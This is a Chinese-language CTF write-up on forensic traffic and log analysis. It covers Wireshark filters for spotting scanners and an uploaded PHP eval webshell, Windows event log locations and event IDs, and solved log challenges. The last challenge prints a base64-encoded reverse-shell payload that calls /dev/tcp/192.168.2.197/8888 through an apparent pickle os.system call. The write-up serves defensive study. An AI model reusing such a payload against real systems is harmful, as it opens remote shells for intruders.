【流量、日志分析】常见的web流量分析、windows日志分析

1.web流量分析

1.1 特点

通常会提供一个包含流量数据的 PCAP 文件，有时候也会需要先进行修复或重构传输文件后，再进行分析。

复杂的地方在于数据包里充满着大量无关的流量信息，因此如何分类和过滤数据是我们需要做的。

1.2 流量包修复

例题为i春秋第一届 “百度杯” 信息安全攻防总决赛 线上选拔赛：find the flag

该cap文件直接打开的话出现报错：

通过pcap在线修复工具进行流量包修复：pcapfix

在长度为72的流量中有提示：

这些流量中的字符反过来就是flag，反过来拼接就可以得到flag，这边找到一个师傅的脚本借鉴一下：

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# -- author：valecalida --
# Edit time: 2021/6/6 8:35
from pyshark import FileCapture
from binascii import a2b_hex
cap = FileCapture('cap.pcap', display_filter="tcp && frame.cap_len==72")
cap.load_packets()
content, link = '', ''
for i in range(0, len(cap), 2):
    link = cap[i].ip.id[-4:][2:] + cap[i].ip.id[-4:][:2]
    content += link
print(a2b_hex(bytes(content, encoding='utf-8')))

运行脚本拼接后的flag：

1.3 扫描分析

通过给出的流量包获取攻击者使用的WEB扫描工具。

如何快速发现是不是有扫描器扫描的痕迹。

一般最常用到的扫描器有WVS、nessus、APPscan、绿盟极光、sqlmap、dirsearch等等，所以我们就要了解这些扫描器本身的一些特征。

WVS扫描器通常默认情况下，会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样

Nessus扫描器默认情况下会包含nessus字样

APPscan默认情况下会包含APPscan字样

绿盟极光扫描器一般会包含nsfocus、Rsas字样

sqlmap大多情况下也会包含有sqlmap字样

例题：安恒八月月赛流量分析：黑客使用的是什么扫描器？

流量包很巨大，比我们一般CTF中遇到的都大，显然利用筛选功能才能找到使用了什么扫描器。

首先过滤http流量，发现“acunetix”：

有这个字样，猜测是WVS扫描器， WVS扫描器通常默认情况下，会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样。

为了验证猜测，使用语句 http contains "wvs" 或者 http contains "acunetix" 过滤一下，确定了黑客使用的扫描器为awvs。

1.4 WebShell上传

Webshell文件上传常采用post方法请求，获取流量包中记录的webshell可通过wireshark筛选出POST请求和关键字.

相关命令：http.request.method==“POST” && http contains == “关键字”

例题：安恒八月月赛流量分析：黑客上传的webshell文件名是？内容是什么？（依然是对webone.pcap进行流量分析）

因为是上传文件，有以下过滤规则：
post && 源地址 && 协议http

http.request.method=="POST" && ip.src==192.168.94.59 && http

如上图，过滤后看到异常：images里面存了a.php，推测就是黑客上传的WebShell。

追踪tcp流。发现使用php写的WebShell：

使用下面的语句过滤一下：

tcp contains "<?php @eval"

再追踪tcp流，最终找到了webshell的内容：

2.windows日志分析

2.1 什么是Windows日志？

Windows日志特指Windows操作系统中各种各样的日志文件，如应用程序日志，安全日志、系统日志。

2.1.1 系统日志

记录操作系统组件产生的事件，主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。用户可以通过它来检查错误发生的原因，或者寻找受到攻击时攻击者留下的痕迹。

默认位置： %SystemRoot%\System32\Winevt\Logs\System.evtx

2.1.2 应用程序日志

包含由应用程序或系统程序记录的事件，主要记录程序运行方面的事件，例如数据库程序可以在应用程序日志中记录文件错误，程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况，那么我们可以从程序事件日志中找到相应的记录。

默认位置：%SystemRoot%\System32\Winevt\Logs\Application.evtx

2.1.3 安全日志

记录系统的安全审计事件，包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下，安全性日志是关闭的，管理员可以使用组策略来启动安全性日志，或者在注册表中设置审核策略，以便当安全性日志满后使系统停止响应。
​
默认位置：%SystemRoot%\System32\Winevt\Logs\Security.evtx

2.1.4 事件ID字段

Log Name：存储事件的事件日志的名称，在处理从同一系统提取的大量日志时很有用。

Source：生成事件的服务，Microsoft组件或应用程序。

Event ID：分配给每种已审计活动类型的代码。

Level：分配给相关事件的严重性。

User：在记录事件时，触发活动或源正在运行的用户上下文的用户帐户。注意，该字段通常表示“系统”而不是记录事件原因的用户

OpCode：由生成日志的源分配

Logged：记录事件的本地系统日期和时间

Task Category：由生成日志的源分配

keywords：用于对事件进行分组或排序。

Computer：记录事件的计算机。当检查从多个系统收集的日志时，此功能很有用，但不应被视为导致事件的设备

Description：一个文本块，其中记录了特定于所记录事件的其他信息，对于取证人员来说，这通常是最重要的字段。

对于Windows事件日志分析，不同的EVENT ID代表了不同的意义，下面是一下常用到的事件ID：

事件ID	说明
1102	审核日志已清除
1104	安全日志现已满
4608	Windows正在启动
4609	Windows正在关闭
4616	系统时间已更改
4625	帐户无法登录
4624	帐户已成功登录
4634	帐户已注销
4647	用户启动的注销
4672	使用超级用户（如管理员）进行登录
4620	创建用户
4657	注册表值已修改
4741	已创建计算机帐户
4742	计算机帐户已更改
4743	计算机帐户已删除

2.2 日志分析

日志分析（问1）

这里我选择NotePad++打开文件access.log。
先选中全部内容，插件 → MIME tools → URL Decode 。
查找log中状态码为200的请求记录。搜索“200”：

源码文件名是www.zip，flag就为：NSSCTF{www.zip}。

日志分析（问2）

还是在那个日志文件access.log，Ctrl+F搜索/tmp，这就是文件名：

flag就是：NSSCTF{sess_car}。

日志分析（问3）

这里存在反序列化：

使用php函数进行反序列化有助于读懂语句：

<?php
$serializedData = 'a:1:{s:5:"/flag";s:13:"SplFileObject";}';

// 使用unserialize函数进行反序列化
$data = unserialize($serializedData);

// 输出反序列化后的结果
var_dump($data);
?>

如下就是反序列化后的内容：

易知，黑客使用的是_SplFileObject_类读取了秘密文件。
flag就是：NSSCTF{SplFileObject}。

简单日志分析（问1）

翻看log时就看到了异常参数user：

flag就是NSSCTF{user}。

简单日志分析（问2）

对这个user参数的base64解码时发现了绝对路径：

flag即是：NSSCTF{/Th4s_IS_VERY_Import_Fi1e}

简单日志分析（问3）

最后这个参数user中就是黑客反弹shell的ip和端口：

JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=

base64解码就得出：

flag就是：NSSCTF{192.168.2.197:8888}